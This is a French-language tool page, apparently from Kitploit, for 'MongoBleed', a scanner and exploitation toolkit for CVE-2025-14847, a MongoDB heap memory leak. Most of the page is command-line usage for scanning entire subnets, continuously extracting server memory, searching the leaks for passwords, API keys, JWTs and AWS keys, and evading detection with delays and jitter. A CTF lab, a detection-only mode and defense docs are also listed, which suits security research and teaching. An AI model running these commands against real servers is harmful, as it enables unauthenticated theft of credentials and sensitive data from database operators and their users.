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MongoBleed — Outil de scanner et d'exploitation CVE-2025-14847 (MongoBleed). Fuite de mémoire de tas MongoDB non authentifiée via la décompression zlib. Détection, extraction mémoire, analyse d'identifiants, scan CIDR/lot, modèles Nuclei et laboratoire CTF inclus | Kitploit
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MongoBleed

Outil de scanner et d'exploitation CVE-2025-14847 (MongoBleed). Fuite de mémoire de tas MongoDB non authentifiée via la décompression zlib. Détection, extraction mémoire, analyse d'identifiants, scan CIDR/lot, modèles Nuclei et laboratoire CTF inclus

213il y a 7 moisPas encore vérifié
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MongoBleed

CVE-2025-14847 – Scanner et boîte à outils d'exploitation

Une boîte à outils de recherche en sécurité pour MongoBleed – une fuite mémoire critique non authentifiée dans la décompression zlib de MongoDB, permettant aux attaquants d'extraire des données sensibles de la mémoire heap du serveur sans authentification.

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CVE-2025-14847 Scanner & Exploit

Démarrage rapide

# Aucune dépendance externe – seulement la bibliothèque standard Python 3
cd cli

# Détecter si une cible est vulnérable (action par défaut)
python mongobleed.py -t localhost:27017

# Scanner tout un sous-réseau
python mongobleed.py -t 192.168.1.0/24

# Extraire la mémoire et analyser les identifiants
python mongobleed.py -t target:27017 -e --credentials

# Mode sécurisé – détection uniquement, pas d'exploitation
python mongobleed.py -t target:27017 -s

Structure du dépôt

MongoBleed/
├── cli/                          # Outil en ligne de commande de scanner et d'exploitation
│   ├── mongobleed.py             # Outil CLI principal
│   ├── requirements.txt          # Dépendances Python (stdlib uniquement)
│   └── README.md                 # Documentation CLI
├── lab/                          # Environnement de laboratoire CTF basé sur Docker
│   ├── docker-compose.yml        # Configuration multi-conteneurs du lab
│   ├── vulnerable/               # Configurations MongoDB vulnérables
│   ├── patched/                  # MongoDB patché pour comparaison
│   ├── no-zlib/                  # Non exploitable (zlib désactivé)
│   ├── monitoring/               # Tableau de bord de visualisation des attaques
│   ├── warmup-heap.sh            # Remplir la heap avec des données sensibles
│   └── README.md                 # Instructions de configuration du lab
├── nuclei/                       # Modèles de scan Nuclei
│   ├── CVE-2025-14847.yaml       # Modèle d'exploitation active
│   ├── CVE-2025-14847-safe.yaml  # Modèle de détection sécurisé
│   └── README.md                 # Documentation des modèles Nuclei
├── docs/                         # Documentation pédagogique
│   ├── README.md                 # Index du parcours d'apprentissage
│   ├── 01-fundamentals.md        # Bases de MongoDB et de la mémoire
│   ├── 02-vulnerability.md       # Plongée dans CVE-2025-14847
│   ├── 03-exploitation.md        # Exploitation pratique
│   ├── 04-detection.md           # Chasse et détection
│   └── 05-defense.md             # Stratégies d'atténuation
└── README.md                     # Ce fichier

Fonctionnalités

Outil CLI

  • Empreinte de version et détection de compression (zlib/snappy/zstd)
  • Détection de vulnérabilité avec option mode sécurisé
  • Extraction mémoire par balayage d'offsets (plage configurable)
  • Détection de motifs d'identifiants (16 motifs : mots de passe, clés API, JWT, clés AWS, URI MongoDB, etc.)
  • Prise en charge de la notation CIDR (192.168.1.0/24, 10.0.0.0/16:27018)
  • Scan par lots à partir de fichiers de cibles avec multi-threading
  • Mode d'extraction continue
  • Hexdump et extraction de chaînes imprimables
  • Sortie JSON et export de fichier
  • Contrôles d'évasion (délai, gigue)
  • Sortie terminal colorée

Environnement de laboratoire

  • Plusieurs versions vulnérables de MongoDB (4.4.29, 6.0.26, 8.0.16)
  • Version patchée pour comparaison (8.0.17)
  • Version sans zlib illustrant l'atténuation
  • Pré-remplissage avec des données sensibles réalistes
  • Flags de type CTF pour l'apprentissage
  • Tableau de bord de surveillance avec visualisation des attaques
  • Script de préchauffage de la heap pour des démonstrations d'exploitation fiables

Modèles Nuclei

  • Modèle de détection sécurisé (vérification version + compression uniquement)
  • Modèle d'exploitation active (vérification version + confirmation zlib)

Utilisation

Détection

# Vérifier une seule cible
python mongobleed.py -t localhost:27017

# Vérifier avec sortie verbose
python mongobleed.py -t localhost:27017 -v

# Mode sécurisé – détection uniquement, jamais d'envoi de payload d'exploitation
python mongobleed.py -t localhost:27017 -s

# Afficher les informations de version
python mongobleed.py -t localhost:27017 --version

Scan réseau

# Scanner un sous-réseau /24
python mongobleed.py -t 192.168.1.0/24

# CIDR avec port personnalisé
python mongobleed.py -t 10.0.0.0/24:27018

# Scanner à partir d'un fichier de cibles (les plages CIDR dans le fichier sont développées)
python mongobleed.py -T targets.txt -j 20 -o results.json

# Le fichier de cibles peut contenir des IP, host:port et plages CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

Extraction mémoire

# Extraire la mémoire (plage d'offsets par défaut 20-8192)
python mongobleed.py -t target:27017 -e

# Plage d'offsets personnalisée
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# Extraction continue (Ctrl+C pour arrêter)
python mongobleed.py -t target:27017 --continuous

# Forcer l'extraction même si la vérification de version n'est pas concluante
python mongobleed.py -t target:27017 -e --force

Analyse

# Analyser la mémoire divulguée pour les identifiants et secrets
python mongobleed.py -t target:27017 -e --credentials

# Analyser spécifiquement les tokens
python mongobleed.py -t target:27017 -e --tokens

# Extraire les chaînes imprimables
python mongobleed.py -t target:27017 -e --strings

# Sortie hexdump
python mongobleed.py -t target:27017 -e --hexdump

Évasion

# Ajouter un délai entre les requêtes (millisecondes)
python mongobleed.py -t target:27017 -e --delay 500

# Gigue aléatoire sur le délai
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

Modèles Nuclei

# Détection sécurisée uniquement
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# Détection active
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# Scanner plusieurs cibles
nuclei -t nuclei/ -l targets.txt

Environnement de laboratoire

# Démarrer tous les conteneurs
cd lab && docker compose up -d

# Services :
# - localhost:27017  MongoDB 4.4.29 (Vulnérable + zlib)
# - localhost:27018  MongoDB 6.0.26 (Vulnérable + zlib)
# - localhost:27019  MongoDB 8.0.16 (Vulnérable + zlib)
# - localhost:27020  MongoDB 8.0.17 (Patché)
# - localhost:27021  MongoDB 8.0.16 (Sans zlib – non exploitable)
# - localhost:8080   Tableau de bord de surveillance

# Préchauffer la heap avec des données sensibles avant l'exploitation
./warmup-heap.sh 27017 50

# Lancer l'exploit contre le lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

Options CLI

Target :
  -t, --target TARGET     Hôte:port ou plage CIDR (ex. 192.168.1.0/24)
  -T, --targets FILE      Fichier contenant la liste des cibles (prend en charge CIDR par ligne)

Detection :
  --detect                Détecter si la cible est vulnérable (action par défaut)
  --version               Afficher la version de MongoDB
  -s, --safe              Mode sécurisé – détection uniquement, pas d'exploitation

Exploitation :
  -e, --extract           Extraire la mémoire par balayage d'offsets
  --min-offset N          Offset minimal à sonder (défaut : 20)
  --max-offset N          Offset maximal à sonder (défaut : 8192)
  --continuous            Mode d'extraction continue
  --force                 Forcer l'extraction même si la vérification de version échoue

Analysis :
  --credentials           Analyser pour les identifiants
  --tokens                Analyser pour les tokens
  --strings               Extraire les chaînes imprimables
  --hexdump               Afficher l'hexdump

Evasion :
  --delay MS              Délai entre les requêtes (millisecondes)
  --jitter                Gigue aléatoire sur le délai
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